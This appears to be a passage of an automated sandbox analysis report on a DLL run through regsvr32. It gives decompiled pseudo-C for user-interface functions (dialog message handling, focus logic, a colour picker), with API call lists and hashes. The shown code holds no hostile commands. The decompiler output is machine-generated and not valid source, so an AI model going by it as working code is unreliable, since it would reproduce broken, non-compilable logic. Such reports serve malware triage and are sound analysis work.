					 *(_t299 - 0x10) = _t277;
					if( *_t235 == 0) {
						goto L37;
					}
					_t236 =  *((intOrPtr*)(_t299 + 0x1c));
					_t257 = _t236 - 4;
					_t41 =  &(_t277[4]); // -8
					_t298 = _t41;
					 *(_t299 - 0x1c) = _t298;
					 *((intOrPtr*)(_t299 + 0x1c)) = _t236 + 0xfffffff8;
					do {
						_t239 =  *( *(_t299 - 0x14)) & 0x000000ff;
						 *_t277 = _t239;
						if((_t239 & 0x00000040) != 0) {
							 *_t277 = _t239 & 0x0000ffbf | 0x00004000;
						}
						_t240 =  *_t277 & 0x0000ffff;
						_t312 = _t240 - 0x4002;
						if(_t312 > 0) {
							_t241 = _t240 - 0x4003;
							__eflags = _t241 - 0x12;
							if(__eflags > 0) {
								goto L35;
							}
							switch( *((intOrPtr*)(_t241 * 4 +  &M6EB627A7))) {
								case 0:
									goto L34;
								case 1:
									 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
									_t257 = _t257 + _t292;
									_t243 =  *_t257;
									asm("sbb ecx, ecx");
									 *_t243 =  ~( *_t243) & 0x0000ffff;
									 *_t298 = _t243;
									_t244 = E6EB610FD(_t299 - 0x34, _t243, _t243, 0);
									 *(_t299 - 4) = 3;
									E6EB6159D(_t299 - 0x68, _t244);
									__eflags =  *(_t299 - 0x2c);
									 *(_t299 - 4) = 1;
									if(__eflags != 0) {
										E6EB47CD0(_t257, _t292, _t298, __eflags,  *((intOrPtr*)(_t299 - 0x34)));
									}
									goto L35;
								case 2:
									goto L35;
							}
						} else {
							if(_t312 == 0) {
								L34:
								 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
								_t257 = _t257 + _t292;
								__eflags = _t257;
								 *_t298 =  *_t257;
								goto L35;
							}
							_t249 = _t240;
							if(_t249 > 0x13) {
								goto L35;
							}
							switch( *((intOrPtr*)(_t249 * 4 +  &M6EB62757))) {
								case 0:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__ax =  *__ebx;
									goto L28;
								case 1:
									goto L34;
								case 2:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
									__eax =  *(__ebp + 0x1c);
									__ebx =  &(__ebx[2]);
									 *__esi =  *( *(__ebp + 0x1c));
									goto L35;
								case 3:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
									__eax =  *(__ebp + 0x1c);
									__ebx =  &(__ebx[2]);
									 *__esi =  *( *(__ebp + 0x1c));
									goto L35;
								case 4:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									goto L17;
								case 5:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									_push(__eax);
									 *(__ebp - 0x1c) = __eax;
									__imp__#2();
									__eflags =  *(__ebp - 0x1c);
									 *__esi = __eax;
									if(__eflags == 0) {
										goto L35;
									}
									__eflags = __eax;
									if(__eflags != 0) {
										goto L35;
									}
									goto L23;
								case 6:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									 *__ebx =  ~( *__ebx);
									asm("sbb eax, eax");
									L28:
									 *__esi = __ax;
									goto L35;
								case 7:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 4;
									__edi =  *(__ebp - 0x10);
									__ebx =  &(__ebx[1]);
									__esi =  *__ebx;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									asm("movsd");
									__esi =  *(__ebp - 0x1c);
									_push(4);
									_pop(__edi);
									goto L35;
								case 8:
									L24:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									_push(__eax);
									__ecx = __ebp - 0x18;
									 *(__ebp - 0x1c) = __eax;
									__eax = E6EB4922C(__ebx, __ecx, __edi, __esi, __eflags);
									_push( *(__ebp - 0x18));
									 *((char*)(__ebp - 4)) = 2;
									__imp__#2();
									__eflags =  *(__ebp - 0x1c);
									 *__esi = __eax;
									if( *(__ebp - 0x1c) == 0) {
										L26:
										__ecx =  *(__ebp - 0x10);
										_push(8);
										_pop(__eax);
										 *( *(__ebp - 0x10)) = __ax;
										__ecx =  *(__ebp - 0x18);
										__ecx =  *(__ebp - 0x18) + 0xfffffff0;
										 *((char*)(__ebp - 4)) = 1;
										__eax = E6EB41020(__ecx, __edx);
										goto L35;
									}
									__eflags = __eax;
									if(__eflags == 0) {
										L23:
										__eax = E6EB48B6C(__ebx, __ecx, __edi, __esi, __eflags);
										goto L24;
									}
									goto L26;
								case 9:
									goto L35;
								case 0xa:
									 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
									_t257 = _t257 + _t292;
									 *_t298 =  *_t257;
									goto L35;
								case 0xb:
									__eax =  *(__ebp + 0x1c);
									__eax =  *(__ebp + 0x1c) + 8;
									 *(__ebp + 0x1c) = __eax;
									__ebx =  &(__ebx[2]);
									__eflags = __ebx;
									L17:
									__ecx =  *__eax;
									 *__esi = __ecx;
									 *(__esi + 4) = __eax;
									goto L35;
							}
						}
						L35:
						_t277 =  *(_t299 - 0x10) - 0x10;
						_t298 = _t298 - 0x10;
						 *(_t299 - 0x14) =  &(( *(_t299 - 0x14))[1]);
						 *(_t299 - 0x10) = _t277;
						 *(_t299 - 0x1c) = _t298;
					} while ( *( *(_t299 - 0x14)) != 0);
					_t256 = 0;
					goto L37;
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB62272
_memset.LIBCMT ref: 6EB6229A
lstrlenA.KERNEL32(?,00000004,00000000,6EB62568), ref: 6EB622AA
_memset.LIBCMT ref: 6EB62314
_memset.LIBCMT ref: 6EB6252A
VariantClear.OLEAUT32(?), ref: 6EB625B1
SysStringLen.OLEAUT32(?), ref: 6EB6260B
SysFreeString.OLEAUT32(?), ref: 6EB6262B
SysStringLen.OLEAUT32(?), ref: 6EB62630

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: String_memset$ClearFreeH_prolog3Variantlstrlen
String ID:
API String ID: 516204547-0
Opcode ID: d1832afa3d55c6f28c7470dfff0b065811f45a2ac5346c749766013b8c84dbbb
Instruction ID: ec77d631e87875b1b82a8afb3e137c0654fc40aa668947ceebed05af6499079d
Opcode Fuzzy Hash: d1832afa3d55c6f28c7470dfff0b065811f45a2ac5346c749766013b8c84dbbb
Instruction Fuzzy Hash: 14F1477190028ADFEF11CFE8D894AEEBFB8EF05304F104469E955AB2A0DB749A55CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5F5ED Relevance: 26.0, APIs: 17, Instructions: 453
windowkeyboardCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6EB5F5ED(void* __ebx, signed int __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4, struct tagMSG* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				struct HWND__* _v52;
				signed int _t139;
				signed int _t141;
				void* _t142;
				signed int _t146;
				signed int _t149;
				intOrPtr _t150;
				signed int _t152;
				signed char _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				signed int _t161;
				signed int _t165;
				void* _t167;
				signed char _t171;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				signed char _t182;
				intOrPtr _t183;
				signed int _t184;
				short _t188;
				signed int _t189;
				signed int _t190;
				signed int _t191;
				signed int _t195;
				signed int _t198;
				signed char _t199;
				signed int _t200;
				signed int _t201;
				signed int _t203;
				short _t204;
				signed int _t206;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				void* _t211;
				signed int _t215;
				signed int _t216;
				struct HWND__* _t217;
				struct tagMSG* _t221;
				intOrPtr _t224;
				void* _t231;
				void* _t234;
				struct tagMSG* _t240;
				signed int _t242;
				int _t243;
				signed int _t244;
				long _t247;
				intOrPtr _t249;
				signed int _t251;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;

				_t232 = __ecx;
				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t139 = E6EB5F446(_a4, _a8);
				_t238 = _t139;
				if(_t139 == 0) {
					_t232 = _a4;
					_t231 = E6EB4AFE1(_a4);
					if(_t231 != 0) {
						_t221 =  *((intOrPtr*)(_t231 + 0x44));
						_a8 = _t221;
						if(_t221 != 0) {
							while(1) {
								_t9 = _t231 + 0x40; // 0x40
								_t232 = _t9;
								_t258 =  *(E6EB4ABF2( &_a8));
								_t224 =  *((intOrPtr*)(_t258 + 4));
								if(_t224 != 0 && _t224 ==  *((intOrPtr*)(_t231 + 0x70))) {
									break;
								}
								if( *_t258 == 0 ||  *_t258 != GetFocus()) {
									if(_a8 != 0) {
										continue;
									} else {
									}
								} else {
									break;
								}
								goto L10;
							}
							_t238 = _t258;
						}
					}
				}
				L10:
				_t247 = 0;
				while(1) {
					_t238 = E6EB5F49A(_t232, _a4, _t238, _a12);
					if(_t238 == 0) {
						break;
					}
					_t142 = E6EB5EF1E(_t238);
					_pop(_t232);
					if(_t142 == 0) {
						L14:
						if(_t238 == 0) {
							L21:
							__eflags =  *(_t238 + 4);
							if(__eflags == 0) {
								E6EB48BA4(0, _t232, _t238, _t247, __eflags);
								asm("int3");
								_push(0x28);
								E6EB6652E(0x6eb7829f, 0, _t238, _t247);
								_t146 = _a4;
								__eflags = _t146;
								if(_t146 != 0) {
									_v48 =  *((intOrPtr*)(_t146 + 0x20));
								} else {
									_v48 = _v48 & _t146;
								}
								_t240 = _a8;
								_t249 = _t240->message;
								_v32 = _t249;
								_v52 = GetFocus();
								_t149 = E6EB4C72D(0, _t232, _t148);
								_t229 = 0x100;
								_v24 = _t149;
								__eflags = _t249 - 0x100;
								if(_t249 < 0x100) {
									L34:
									__eflags = _t249 + 0xfffffe00 - 9;
									if(_t249 + 0xfffffe00 > 9) {
										goto L56;
									} else {
										goto L35;
									}
								} else {
									__eflags = _t249 - 0x109;
									if(_t249 <= 0x109) {
										L35:
										__eflags = _t149;
										if(_t149 == 0) {
											L56:
											_t251 = 0;
											_v28 = 0;
											_t150 = E6EB4C72D(_t229, _t232,  *_t240);
											_v44 = _v44 & 0;
											_v36 = _t150;
											_t152 = _v32 - _t229;
											__eflags = _t152;
											_v40 = 2;
											if(_t152 == 0) {
												_t153 = E6EB5EEC8(_v36, _t240);
												_t232 =  *(_t240 + 8) & 0x0000ffff;
												__eflags = _t232 - 0x1b;
												if(__eflags > 0) {
													__eflags = _t232 - 0x25;
													if(_t232 < 0x25) {
														goto L75;
													} else {
														__eflags = _t232 - 0x26;
														if(_t232 <= 0x26) {
															_v44 = 1;
															goto L110;
														} else {
															__eflags = _t232 - 0x28;
															if(_t232 <= 0x28) {
																L110:
																_t171 = E6EB5EEC8(_v24, _t240);
																__eflags = _t171 & 0x00000001;
																if((_t171 & 0x00000001) != 0) {
																	goto L75;
																} else {
																	__eflags = _v44;
																	_t232 = _a4;
																	_push(0);
																	if(_v44 == 0) {
																		_t172 = E6EB5003D(_t229, _t232);
																	} else {
																		_t172 = E6EB4FFE6(_t229, _t232);
																	}
																	_t254 = _t172;
																	__eflags = _t254;
																	if(_t254 == 0) {
																		goto L75;
																	} else {
																		__eflags =  *(_t254 + 8);
																		if( *(_t254 + 8) != 0) {
																			_t232 = _a4;
																			E6EB4FB3E(_a4, _t254);
																		}
																		__eflags =  *(_t254 + 4);
																		if( *(_t254 + 4) == 0) {
																			_t173 =  *_t254;
																			__eflags = _t173;
																			if(_t173 == 0) {
																				_t232 = _a4;
																				_t174 = E6EB5EF9C(_a4, _v24, _v44);
																			} else {
																				_t174 = E6EB4C72D(_t229, _t232, _t173);
																			}
																			_t242 = _t174;
																			__eflags = _t242;
																			if(_t242 == 0) {
																				goto L75;
																			} else {
																				_t229 = 0;
																				 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x4c)) + 0x70)) = 0;
																				E6EB5EFDF(_t242);
																				__eflags =  *(_t254 + 8);
																				if( *(_t254 + 8) != 0) {
																					SendMessageA( *(_t242 + 0x20), 0xf1, 1, 0);
																				}
																				goto L125;
																			}
																		} else {
																			_t232 =  *(_t254 + 4);
																			 *((intOrPtr*)( *( *(_t254 + 4)) + 0xac))(_t240);
																			goto L125;
																		}
																	}
																}
															} else {
																__eflags = _t232 - 0x2b;
																if(_t232 != 0x2b) {
																	goto L75;
																} else {
																	goto L97;
																}
															}
														}
													}
													goto L126;
												} else {
													if(__eflags == 0) {
														L103:
														_t243 = 0;
														__eflags = 0;
														goto L104;
													} else {
														__eflags = _t232 - 3;
														if(_t232 == 3) {
															goto L103;
														} else {
															__eflags = _t232 - 9;
															if(_t232 == 9) {
																__eflags = _t153 & 0x00000002;
																if((_t153 & 0x00000002) != 0) {
																	goto L75;
																} else {
																	_t188 = GetKeyState(0x10);
																	_t255 = _a4;
																	__eflags = _t188;
																	_t229 = 0 | _t188 < 0x00000000;
																	_t232 = _t255;
																	_t189 = E6EB4F9FE(_t188 < 0, _t255, 0, _t188 < 0);
																	__eflags = _t189;
																	if(_t189 == 0) {
																		goto L75;
																	} else {
																		__eflags =  *(_t189 + 4);
																		if( *(_t189 + 4) == 0) {
																			_t190 =  *_t189;
																			__eflags = _t190;
																			if(_t190 == 0) {
																				_t232 = _t255;
																				_t191 = E6EB52AF6(_t255, _v36, _t229);
																			} else {
																				_t191 = E6EB4C72D(_t229, _t232, _t190);
																			}
																			_t244 = _t191;
																			__eflags = _t244;
																			if(_t244 != 0) {
																				 *( *((intOrPtr*)(_t255 + 0x4c)) + 0x70) =  *( *((intOrPtr*)(_t255 + 0x4c)) + 0x70) & 0x00000000;
																				E6EB5EFDF(_t244);
																				E6EB5F1A3(_t229, _t232, _v24, _t244);
																				_pop(_t232);
																			}
																		} else {
																			_t195 =  *(_t189 + 4);
																			_t232 = _t195;
																			 *((intOrPtr*)( *_t195 + 0xac))(_t240);
																		}
																		goto L125;
																	}
																}
																goto L126;
															} else {
																__eflags = _t232 - 0xd;
																if(_t232 == 0xd) {
																	L97:
																	__eflags = _t153 & 0x00000004;
																	if((_t153 & 0x00000004) != 0) {
																		goto L75;
																	} else {
																		_t182 = E6EB5EF74(_v24);
																		_pop(_t232);
																		__eflags = _t182 & 0x00000010;
																		if((_t182 & 0x00000010) == 0) {
																			_t183 = E6EB5F32F(_a4);
																		} else {
																			_t251 = _v24;
																			_t232 = _t251;
																			_t183 = E6EB4F670(_t251);
																		}
																		_t243 = 0;
																		_v40 = _t183;
																		__eflags = _t251;
																		if(_t251 != 0) {
																			L105:
																			_t232 = _t251;
																			_t184 = E6EB4F6F2(_t251);
																			__eflags = _t184;
																			if(_t184 != 0) {
																				__eflags =  *((intOrPtr*)(_t251 + 0x50)) - _t243;
																				if( *((intOrPtr*)(_t251 + 0x50)) == _t243) {
																					goto L75;
																				} else {
																					_push(_t243);
																					_push(_t243);
																					_push(_t243);
																					_push(1);
																					_push(0xfffffdd9);
																					_push(_t251);
																					_v8 = _t243;
																					E6EB4F755();
																					_v8 = _v8 | 0xffffffff;
																					goto L125;
																				}
																			} else {
																				MessageBeep(_t243);
																				goto L75;
																			}
																		} else {
																			L104:
																			_t251 = E6EB5F222(_a4, _v40);
																			__eflags = _t251 - _t243;
																			if(_t251 == _t243) {
																				goto L75;
																			} else {
																				goto L105;
																			}
																		}
																	}
																	goto L126;
																} else {
																	goto L75;
																}
															}
														}
													}
												}
												goto L79;
											} else {
												_t198 = _t152;
												__eflags = _t198;
												if(_t198 == 0) {
													L62:
													_t199 = E6EB5EEC8(_v36, _t240);
													__eflags = _v32 - 0x102;
													if(_v32 != 0x102) {
														L64:
														_t232 =  *(_t240 + 8) & 0x0000ffff;
														__eflags = _t232 - 9;
														if(_t232 != 9) {
															L66:
															__eflags = _t232 - 0x20;
															if(__eflags == 0) {
																goto L54;
															} else {
																_push(_t240);
																_t200 = E6EB5F5ED(_t229, _t232, _t240, _t251, __eflags, _a4, _v36);
																__eflags = _t200;
																if(_t200 == 0) {
																	goto L75;
																} else {
																	_t201 =  *(_t200 + 4);
																	__eflags = _t201;
																	if(_t201 == 0) {
																		goto L75;
																	} else {
																		_t232 = _t201;
																		E6EB593AF(_t201, _t240);
																		L125:
																		_v28 = 1;
																	}
																}
																goto L79;
															}
														} else {
															__eflags = _t199 & 0x00000002;
															if((_t199 & 0x00000002) != 0) {
																goto L75;
															} else {
																goto L66;
															}
														}
													} else {
														__eflags = _t199 & 0x00000084;
														if((_t199 & 0x00000084) != 0) {
															goto L75;
														} else {
															goto L64;
														}
													}
												} else {
													_t203 = _t198 - 4;
													__eflags = _t203;
													if(_t203 != 0) {
														L75:
														_t154 = _a4;
														__eflags =  *(_t154 + 0x3c) & 0x00001000;
														if(( *(_t154 + 0x3c) & 0x00001000) == 0) {
															_t165 = IsDialogMessageA( *(_t154 + 0x20), _a8);
															_v28 = _t165;
															__eflags = _t165;
															if(_t165 != 0) {
																_t167 = E6EB4C72D(_t229, _t232, GetFocus());
																__eflags = _t167 - _v24;
																if(_t167 != _v24) {
																	E6EB5F130(_t232, E6EB4C72D(_t229, _t232, GetFocus()));
																	_pop(_t232);
																}
															}
														}
														L79:
														_t155 = IsWindow(_v52);
														__eflags = _t155;
														if(_t155 != 0) {
															E6EB5F1A3(_t229, _t232, _v24, E6EB4C72D(_t229, _t232, GetFocus()));
															_pop(_t234);
															_t161 = IsWindow(_v48);
															__eflags = _t161;
															if(_t161 != 0) {
																E6EB5F364(_a4, _v24, E6EB4C72D(_t229, _t234, GetFocus()));
															}
														}
														_t156 = _v28;
													} else {
														__eflags = _v24 - _t203;
														if(_v24 != _t203) {
															L61:
															__eflags =  *(_t240 + 8) - 0x20;
															if( *(_t240 + 8) == 0x20) {
																goto L75;
															} else {
																goto L62;
															}
														} else {
															_t204 = GetKeyState(0x12);
															__eflags = _t204;
															if(_t204 >= 0) {
																goto L75;
															} else {
																goto L61;
															}
														}
													}
												}
											}
										} else {
											_t256 = _t149;
											while(1) {
												__eflags =  *(_t256 + 0x50);
												if( *(_t256 + 0x50) != 0) {
													break;
												}
												_t211 = E6EB4C72D(_t229, _t232, GetParent( *(_t256 + 0x20)));
												__eflags = _t211 - _a4;
												if(_t211 != _a4) {
													_t256 = E6EB4C72D(_t229, _t232, GetParent( *(_t256 + 0x20)));
													__eflags = _t256;
													if(_t256 != 0) {
														continue;
													}
												}
												break;
											}
											__eflags = _t256;
											if(_t256 == 0) {
												L45:
												__eflags = _v32 - 0x101;
												if(_v32 == 0x101) {
													L48:
													__eflags = _t256;
													if(_t256 == 0) {
														goto L55;
													} else {
														_t257 =  *(_t256 + 0x50);
														__eflags = _t257;
														if(_t257 == 0) {
															goto L55;
														} else {
															_t206 = _a8->wParam & 0x0000ffff;
															__eflags = _t206 - 0xd;
															if(_t206 != 0xd) {
																L52:
																__eflags = _t206 - 0x1b;
																if(_t206 != 0x1b) {
																	goto L55;
																} else {
																	__eflags =  *(_t257 + 0x84) & 0x00000002;
																	if(( *(_t257 + 0x84) & 0x00000002) == 0) {
																		goto L55;
																	} else {
																		goto L54;
																	}
																}
															} else {
																__eflags =  *(_t257 + 0x84) & 0x00000001;
																if(( *(_t257 + 0x84) & 0x00000001) != 0) {
																	L54:
																	_t156 = 0;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _v32 - _t229;
													if(_v32 == _t229) {
														goto L48;
													} else {
														__eflags = _v32 - 0x102;
														if(_v32 != 0x102) {
															L55:
															_t240 = _a8;
															goto L56;
														} else {
															goto L48;
														}
													}
												}
											} else {
												_t207 =  *(_t256 + 0x50);
												__eflags = _t207;
												if(_t207 == 0) {
													goto L45;
												} else {
													__eflags =  *(_t207 + 0x58);
													if( *(_t207 + 0x58) == 0) {
														goto L45;
													} else {
														_t208 =  *(_t207 + 0x58);
														_t232 =  *_t208;
														_t209 =  *((intOrPtr*)( *_t208 + 0x14))(_t208, _a8);
														__eflags = _t209;
														if(_t209 != 0) {
															goto L45;
														} else {
															_t156 = _t209 + 1;
														}
													}
												}
											}
										}
									} else {
										goto L34;
									}
								}
								return E6EB665D3(_t156);
							} else {
								_t232 =  *(_t238 + 4);
								_t215 =  *((intOrPtr*)( *( *(_t238 + 4)) + 0x78))();
								__eflags = _t215 & 0x08000000;
								if((_t215 & 0x08000000) == 0) {
									goto L20;
								} else {
									goto L23;
								}
							}
						} else {
							_t216 =  *(_t238 + 4);
							if(_t216 == 0) {
								_t217 =  *_t238;
							} else {
								_t217 =  *(_t216 + 0x24);
							}
							if(_t217 == 0) {
								goto L21;
							} else {
								if(IsWindowEnabled(_t217) == 0) {
									L23:
									__eflags = _t238 - _v8;
									if(_t238 == _v8) {
										break;
									} else {
										__eflags = _v8;
										if(_v8 == 0) {
											_v8 = _t238;
										}
										_t247 = _t247 + 1;
										__eflags = _t247 - 0x200;
										if(_t247 < 0x200) {
											continue;
										} else {
											break;
										}
									}
								} else {
									L20:
									_t141 = _t238;
									L28:
									return _t141;
								}
							}
						}
					} else {
						_t232 = _a4;
						_t238 = E6EB4F9FE(0, _a4, _t238, 0);
						if(_t238 == 0) {
							break;
						} else {
							goto L14;
						}
					}
					L126:
				}
				_t141 = 0;
				__eflags = 0;
				goto L28;
			}

APIs

GetFocus.USER32 ref: 6EB5F642
IsWindowEnabled.USER32(?), ref: 6EB5F69E
__EH_prolog3_catch.LIBCMT ref: 6EB5F6EC
GetFocus.USER32 ref: 6EB5F70C
GetParent.USER32(?), ref: 6EB5F757
GetParent.USER32(?), ref: 6EB5F767
GetKeyState.USER32(00000012), ref: 6EB5F825
IsDialogMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EB5F8DA
GetFocus.USER32 ref: 6EB5F8ED
GetFocus.USER32 ref: 6EB5F8FA
IsWindow.USER32(?), ref: 6EB5F912
GetFocus.USER32 ref: 6EB5F91E
IsWindow.USER32(?), ref: 6EB5F934
GetFocus.USER32 ref: 6EB5F93A
GetKeyState.USER32(00000010), ref: 6EB5F963
MessageBeep.USER32(00000000), ref: 6EB5FA5A

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Focus$Window$MessageParentState$BeepDialogEnabledH_prolog3_catch
String ID:
API String ID: 656273425-0
Opcode ID: 1742e503c6e61e5c899b8e57ffd12a29368cee309e845ff9cb62e99208cf3b90
Instruction ID: d1b1057c796a8d1fb61577b9f2c91692a85481ee34bdf2f91496f712269fb60d
Opcode Fuzzy Hash: 1742e503c6e61e5c899b8e57ffd12a29368cee309e845ff9cb62e99208cf3b90
Instruction Fuzzy Hash: A7F1D331910686EBDF519FE4C954AAEFFBAEF45344F30442AE950AB3A0DB30D960CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46260 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 244
windowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6EB46260(signed int __ecx, void* __edx, void* __fp0, intOrPtr _a12) {
				char _v12;
				short _v16;
				short _v20;
				signed int _v24;
				short _v28;
				short _v32;
				intOrPtr _v40;
				signed int _v44;
				char _v52;
				intOrPtr _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t65;
				intOrPtr* _t84;
				signed int* _t88;
				intOrPtr* _t92;
				intOrPtr* _t97;
				signed char _t123;
				long _t124;
				signed int _t145;
				signed int _t169;
				signed int _t183;
				short _t188;
				long _t193;
				void* _t194;
				signed short _t195;
				void* _t203;
				intOrPtr* _t210;
				void* _t214;

				_t214 = __fp0;
				_push(0xffffffff);
				_push(0x6eb78850);
				_push( *[fs:0x0]);
				_t65 =  *0x6eb89470; // 0x8926f9d4
				_push(_t65 ^ _t203 - 0x00000014);
				 *[fs:0x0] =  &_v12;
				_t183 = __ecx;
				_t186 = _a12;
				if(_a12 != 0) {
					E6EB412C0(__edx, _t186);
				}
				_t123 = 0xff - SendMessageA( *(_t183 + 0x168), 0x400, 0, 0);
				_v24 = 0xff - SendMessageA( *(_t183 + 0x270), 0x400, 0, 0);
				_v28 = 0xff - SendMessageA( *(_t183 + 0x2f4), 0x400, 0, 0);
				_t188 = 0xf0 - SendMessageA( *(_t183 + 0x1ec), 0x400, 0, 0);
				if( *((intOrPtr*)(_a12 + 0x20)) !=  *(_t183 + 0x1ec)) {
					_t193 = ((_v28 & 0x000000ff) << 0x00000008 | _v24 & 0x000000ff) << 0x00000008 | _t123 & 0x000000ff;
					ColorRGBToHLS(_t193,  &_v16,  &_v32,  &_v20);
					_t167 =  *(_t183 + 0x1ec);
					_push(0xf0 - (_v44 & 0x0000ffff));
					_t124 = _t193;
					_push(1);
					_t194 = _t183 + 0x1cc;
					_push(0x405);
					_push( *(_t183 + 0x1ec));
				} else {
					ColorRGBToHLS(((_v28 & 0x000000ff) << 0x00000008 | _v24 & 0x000000ff) << 0x00000008 | _t123 & 0x000000ff,  &_v16,  &_v32,  &_v20);
					_v44 = _t188 & 0x0000ffff;
					_t124 = ColorHLSToRGB(_v28, _t188, _v32);
					SendMessageA( *(_t183 + 0x168), 0x405, 1, 0xff - (_t124 & 0x000000ff));
					E6EB412C0( *(_t183 + 0x168), _t183 + 0x148);
					SendMessageA( *(_t183 + 0x270), 0x405, 1, 0xff);
					E6EB412C0(0xff - (_t124 >> 0x00000008 & 0x000000ff), _t183 + 0x250);
					_t167 = _t124 >> 0x00000010 & 0x000000ff;
					_push(0xff - (_t124 >> 0x00000010 & 0x000000ff));
					_push(1);
					_t194 = _t183 + 0x2d4;
					_push(0x405);
					_push( *(_t183 + 0x2f4));
				}
				SendMessageA();
				E6EB412C0(_t167, _t194);
				 *(_t183 + 0xf0) = _v44 & 0x0000ffff;
				 *(_t183 + 0xec) = _t124;
				InvalidateRect( *(_t183 + 0x9c), 0, 1);
				if( *((intOrPtr*)(_t183 + 0x78)) != 0) {
					E6EB49CA7(_t183 + 0x74);
				}
				E6EB49C4F(_t124, _t183 + 0x74, _t183, CreateSolidBrush(_t124));
				_t84 = E6EB4838C();
				_t210 = _t84;
				_t138 = 0 | _t210 == 0x00000000;
				if(_t210 == 0) {
					_t84 = E6EB41000(_t138, _t167, 0x80004005);
				}
				_v40 =  *((intOrPtr*)( *((intOrPtr*)( *_t84 + 0xc))))() + 0x10;
				_push(0);
				_v20 = 0;
				_t88 = E6EB478D0( *_t84, _t214,  &_v44, _t124);
				_v32 = 1;
				_t169 =  *_t88;
				E6EB415B0( &_v52, " Similar to %s ", _t169);
				_v32 = 0;
				_t92 = _v56 + 0xfffffff0;
				asm("lock xadd [ecx], edx");
				if((_t169 | 0xffffffff) - 1 <= 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t92)) + 4))))(_t92);
				}
				_t195 = _v44;
				E6EB4F629(_t183 + 0xf4, _t195);
				InvalidateRect( *(_t183 + 0x114), 0, 1);
				_t145 = _t183;
				E6EB4CBFC(_t145, _v20, _v16, _v12);
				_t97 = _t195 - 0x10;
				_v40 = 0xffffffff;
				asm("lock xadd [edx], ecx");
				if((_t145 | 0xffffffff) - 1 <= 0) {
					_t97 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t97)) + 4))))(_t97);
				}
				 *[fs:0x0] = _v32;
				return _t97;
			}

APIs

SendMessageA.USER32 ref: 6EB462AC
SendMessageA.USER32 ref: 6EB462C5
SendMessageA.USER32 ref: 6EB462E2
SendMessageA.USER32 ref: 6EB462FF
ColorRGBToHLS.SHLWAPI(?,?,?,?), ref: 6EB46342
ColorHLSToRGB.SHLWAPI(?,000000F0,?), ref: 6EB4635A
SendMessageA.USER32 ref: 6EB46381
SendMessageA.USER32 ref: 6EB463AC
ColorRGBToHLS.SHLWAPI(?,?,?,?), ref: 6EB46400
SendMessageA.USER32 ref: 6EB46429

Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41303
